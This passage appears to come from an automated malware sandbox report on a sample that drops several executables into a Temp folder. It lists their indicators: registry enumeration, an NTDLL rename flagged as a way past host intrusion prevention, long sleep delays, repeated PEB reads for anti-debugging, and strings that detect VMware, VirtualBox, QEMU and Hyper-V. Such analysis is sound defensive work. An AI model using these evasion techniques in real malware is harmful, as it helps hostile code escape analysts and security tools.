Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B084.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\B084.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\B084.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\B084.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\B084.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\B084.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Renames NTDLL to bypass HIPS

Show sources

Source: C:\Users\user\AppData\Local\Temp\8615.exe	File opened: C:\Windows\SysWOW64\ntdll.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8615.exe	File opened: C:\Windows\SysWOW64\ntdll.dll			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\977B.exe TID: 5728	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\152F.exe TID: 4988	Thread sleep time: -90000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\977B.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 571			Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 375			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\8615.exe

Code function: 24_2_6B4A6B90 rdtsc

24_2_6B4A6B90

Source: C:\Users\user\AppData\Local\Temp\977B.exe

Thread delayed: delay time: 922337203685477

Source: explorer.exe, 00000006.00000000.294735709.000000000891C000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: 66A4.exe, 00000016.00000003.482381534.0000000006B8B000.00000004.00000001.sdmp	Binary or memory string: !noValueButYesKeySC:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: explorer.exe, 00000006.00000000.295034386.0000000008AEA000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000006.00000000.281531555.0000000008C5B000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 66A4.exe, 00000016.00000003.482381534.0000000006B8B000.00000004.00000001.sdmp	Binary or memory string: VMWAREESOFTWARE\VMware, Inc.\VMware Tools
Source: explorer.exe, 00000006.00000000.270174093.0000000003710000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: 66A4.exe, 00000016.00000003.482381534.0000000006B8B000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: 66A4.exe, 00000016.00000003.482381534.0000000006B8B000.00000004.00000001.sdmp	Binary or memory string: VMwareVBoxARun using valid operating system
Source: 152F.exe, 00000023.00000003.505077428.0000000002EEE000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWL
Source: 152F.exe, 00000023.00000003.505458126.0000000002F11000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000006.00000000.269637468.00000000011B3000.00000004.00000020.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000tft\0
Source: explorer.exe, 00000006.00000000.309552971.00000000089B5000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000%
Source: 66A4.exe, 00000016.00000003.482381534.0000000006B8B000.00000004.00000001.sdmp	Binary or memory string: kernel32.dll/wine_get_unix_file_nameQEMU
Source: explorer.exe, 00000006.00000000.270552390.00000000053C4000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}>'R\"
Source: explorer.exe, 00000006.00000000.309552971.00000000089B5000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000002
Source: 66A4.exe, 00000016.00000003.482381534.0000000006B8B000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: 66A4.exe, 00000016.00000003.482381534.0000000006B8B000.00000004.00000001.sdmp	Binary or memory string: InstallPathKC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\OC:\WINDOWS\system32\drivers\vmmouse.sysMC:\WINDOWS\system32\drivers\vmhgfs.sys

Source: C:\Users\user\Desktop\cnv622JnZv.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\977B.exe

Code function: 34_2_004040F0 RegCreateKeyExA,RegOpenKeyExA,GetVersionExW,GetModuleHandleA,GetProcAddress,GetSystemInfo,GetSystemMetrics,

34_2_004040F0

Source: C:\Users\user\AppData\Local\Temp\977B.exe

Code function: 34_2_0041B9B2 FindFirstFileExW,

34_2_0041B9B2

Source: C:\Users\user\Desktop\cnv622JnZv.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\cnv622JnZv.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8615.exe	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\Desktop\cnv622JnZv.exe

0_2_00427590

Source: C:\Users\user\Desktop\cnv622JnZv.exe	Code function: 0_2_02EBD727 push dword ptr fs:[00000030h]	0_2_02EBD727
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Code function: 17_2_02BA0042 push dword ptr fs:[00000030h]	17_2_02BA0042
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47F340 mov eax, dword ptr fs:[00000030h]	24_2_6B47F340
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47DB40 mov eax, dword ptr fs:[00000030h]	24_2_6B47DB40
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548B58 mov eax, dword ptr fs:[00000030h]	24_2_6B548B58
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A3B5A mov eax, dword ptr fs:[00000030h]	24_2_6B4A3B5A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A3B5A mov eax, dword ptr fs:[00000030h]	24_2_6B4A3B5A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A3B5A mov eax, dword ptr fs:[00000030h]	24_2_6B4A3B5A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A3B5A mov eax, dword ptr fs:[00000030h]	24_2_6B4A3B5A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47F358 mov eax, dword ptr fs:[00000030h]	24_2_6B47F358
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A3B7A mov eax, dword ptr fs:[00000030h]	24_2_6B4A3B7A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A3B7A mov eax, dword ptr fs:[00000030h]	24_2_6B4A3B7A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B506365 mov eax, dword ptr fs:[00000030h]	24_2_6B506365
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B506365 mov eax, dword ptr fs:[00000030h]	24_2_6B506365
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B506365 mov eax, dword ptr fs:[00000030h]	24_2_6B506365
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309 mov eax, dword ptr fs:[00000030h]	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B53131B mov eax, dword ptr fs:[00000030h]	24_2_6B53131B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52E33D mov eax, dword ptr fs:[00000030h]	24_2_6B52E33D
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B504320 mov eax, dword ptr fs:[00000030h]	24_2_6B504320
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4F53CA mov eax, dword ptr fs:[00000030h]	24_2_6B4F53CA
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4F53CA mov eax, dword ptr fs:[00000030h]	24_2_6B4F53CA
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49DBE9 mov eax, dword ptr fs:[00000030h]	24_2_6B49DBE9
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B471BE9 mov eax, dword ptr fs:[00000030h]	24_2_6B471BE9
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4723F6 mov eax, dword ptr fs:[00000030h]	24_2_6B4723F6
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5223E3 mov ecx, dword ptr fs:[00000030h]	24_2_6B5223E3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5223E3 mov ecx, dword ptr fs:[00000030h]	24_2_6B5223E3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5223E3 mov eax, dword ptr fs:[00000030h]	24_2_6B5223E3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B483BF4 mov eax, dword ptr fs:[00000030h]	24_2_6B483BF4
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B483BF4 mov ecx, dword ptr fs:[00000030h]	24_2_6B483BF4
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52D380 mov ecx, dword ptr fs:[00000030h]	24_2_6B52D380
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B474B94 mov edi, dword ptr fs:[00000030h]	24_2_6B474B94
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B53138A mov eax, dword ptr fs:[00000030h]	24_2_6B53138A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B51EB8A mov ecx, dword ptr fs:[00000030h]	24_2_6B51EB8A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B51EB8A mov eax, dword ptr fs:[00000030h]	24_2_6B51EB8A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B51EB8A mov eax, dword ptr fs:[00000030h]	24_2_6B51EB8A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B51EB8A mov eax, dword ptr fs:[00000030h]	24_2_6B51EB8A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548BB6 mov eax, dword ptr fs:[00000030h]	24_2_6B548BB6
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A4BAD mov eax, dword ptr fs:[00000030h]	24_2_6B4A4BAD
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A4BAD mov eax, dword ptr fs:[00000030h]	24_2_6B4A4BAD
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A4BAD mov eax, dword ptr fs:[00000030h]	24_2_6B4A4BAD
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B549BBE mov eax, dword ptr fs:[00000030h]	24_2_6B549BBE
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B531BA8 mov eax, dword ptr fs:[00000030h]	24_2_6B531BA8
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472240 mov ecx, dword ptr fs:[00000030h]	24_2_6B472240
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472240 mov eax, dword ptr fs:[00000030h]	24_2_6B472240
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B479240 mov eax, dword ptr fs:[00000030h]	24_2_6B479240
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B479240 mov eax, dword ptr fs:[00000030h]	24_2_6B479240
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B479240 mov eax, dword ptr fs:[00000030h]	24_2_6B479240
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B479240 mov eax, dword ptr fs:[00000030h]	24_2_6B479240
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B504257 mov eax, dword ptr fs:[00000030h]	24_2_6B504257
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B504248 mov eax, dword ptr fs:[00000030h]	24_2_6B504248
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B927A mov eax, dword ptr fs:[00000030h]	24_2_6B4B927A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52B260 mov eax, dword ptr fs:[00000030h]	24_2_6B52B260
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52B260 mov eax, dword ptr fs:[00000030h]	24_2_6B52B260
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548A62 mov eax, dword ptr fs:[00000030h]	24_2_6B548A62
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B488A0A mov eax, dword ptr fs:[00000030h]	24_2_6B488A0A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B493A1C mov eax, dword ptr fs:[00000030h]	24_2_6B493A1C
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B475210 mov eax, dword ptr fs:[00000030h]	24_2_6B475210
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B475210 mov ecx, dword ptr fs:[00000030h]	24_2_6B475210
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B475210 mov eax, dword ptr fs:[00000030h]	24_2_6B475210
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B475210 mov eax, dword ptr fs:[00000030h]	24_2_6B475210
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52D208 mov eax, dword ptr fs:[00000030h]	24_2_6B52D208
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52D208 mov eax, dword ptr fs:[00000030h]	24_2_6B52D208
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A229 mov eax, dword ptr fs:[00000030h]	24_2_6B49A229
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A229 mov eax, dword ptr fs:[00000030h]	24_2_6B49A229
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A229 mov eax, dword ptr fs:[00000030h]	24_2_6B49A229
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A229 mov eax, dword ptr fs:[00000030h]	24_2_6B49A229
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A229 mov eax, dword ptr fs:[00000030h]	24_2_6B49A229
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A229 mov eax, dword ptr fs:[00000030h]	24_2_6B49A229
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A229 mov eax, dword ptr fs:[00000030h]	24_2_6B49A229
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A229 mov eax, dword ptr fs:[00000030h]	24_2_6B49A229
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A229 mov eax, dword ptr fs:[00000030h]	24_2_6B49A229
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B474A20 mov eax, dword ptr fs:[00000030h]	24_2_6B474A20
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B474A20 mov eax, dword ptr fs:[00000030h]	24_2_6B474A20
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4FEA20 mov eax, dword ptr fs:[00000030h]	24_2_6B4FEA20
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B478239 mov eax, dword ptr fs:[00000030h]	24_2_6B478239
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B478239 mov eax, dword ptr fs:[00000030h]	24_2_6B478239
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B478239 mov eax, dword ptr fs:[00000030h]	24_2_6B478239
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A2ACB mov eax, dword ptr fs:[00000030h]	24_2_6B4A2ACB
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B475AC0 mov eax, dword ptr fs:[00000030h]	24_2_6B475AC0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B475AC0 mov eax, dword ptr fs:[00000030h]	24_2_6B475AC0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B475AC0 mov eax, dword ptr fs:[00000030h]	24_2_6B475AC0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548ADD mov eax, dword ptr fs:[00000030h]	24_2_6B548ADD
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B473ACA mov eax, dword ptr fs:[00000030h]	24_2_6B473ACA
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A2AE4 mov eax, dword ptr fs:[00000030h]	24_2_6B4A2AE4
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534AEF mov eax, dword ptr fs:[00000030h]	24_2_6B534AEF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534AEF mov eax, dword ptr fs:[00000030h]	24_2_6B534AEF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534AEF mov eax, dword ptr fs:[00000030h]	24_2_6B534AEF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534AEF mov eax, dword ptr fs:[00000030h]	24_2_6B534AEF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534AEF mov eax, dword ptr fs:[00000030h]	24_2_6B534AEF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534AEF mov eax, dword ptr fs:[00000030h]	24_2_6B534AEF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534AEF mov eax, dword ptr fs:[00000030h]	24_2_6B534AEF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534AEF mov eax, dword ptr fs:[00000030h]	24_2_6B534AEF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534AEF mov eax, dword ptr fs:[00000030h]	24_2_6B534AEF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534AEF mov eax, dword ptr fs:[00000030h]	24_2_6B534AEF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534AEF mov eax, dword ptr fs:[00000030h]	24_2_6B534AEF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534AEF mov eax, dword ptr fs:[00000030h]	24_2_6B534AEF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534AEF mov eax, dword ptr fs:[00000030h]	24_2_6B534AEF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534AEF mov eax, dword ptr fs:[00000030h]	24_2_6B534AEF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ADA88 mov eax, dword ptr fs:[00000030h]	24_2_6B4ADA88
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ADA88 mov eax, dword ptr fs:[00000030h]	24_2_6B4ADA88
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AD294 mov eax, dword ptr fs:[00000030h]	24_2_6B4AD294
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AD294 mov eax, dword ptr fs:[00000030h]	24_2_6B4AD294
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4752A5 mov eax, dword ptr fs:[00000030h]	24_2_6B4752A5
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4752A5 mov eax, dword ptr fs:[00000030h]	24_2_6B4752A5
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4752A5 mov eax, dword ptr fs:[00000030h]	24_2_6B4752A5
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4752A5 mov eax, dword ptr fs:[00000030h]	24_2_6B4752A5
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4752A5 mov eax, dword ptr fs:[00000030h]	24_2_6B4752A5
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B471AA0 mov eax, dword ptr fs:[00000030h]	24_2_6B471AA0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A5AA0 mov eax, dword ptr fs:[00000030h]	24_2_6B4A5AA0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A5AA0 mov eax, dword ptr fs:[00000030h]	24_2_6B4A5AA0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A12BD mov esi, dword ptr fs:[00000030h]	24_2_6B4A12BD
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A12BD mov eax, dword ptr fs:[00000030h]	24_2_6B4A12BD
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A12BD mov eax, dword ptr fs:[00000030h]	24_2_6B4A12BD
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B48AAB0 mov eax, dword ptr fs:[00000030h]	24_2_6B48AAB0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B48AAB0 mov eax, dword ptr fs:[00000030h]	24_2_6B48AAB0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49B944 mov eax, dword ptr fs:[00000030h]	24_2_6B49B944
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49B944 mov eax, dword ptr fs:[00000030h]	24_2_6B49B944
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47395E mov eax, dword ptr fs:[00000030h]	24_2_6B47395E
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47395E mov eax, dword ptr fs:[00000030h]	24_2_6B47395E
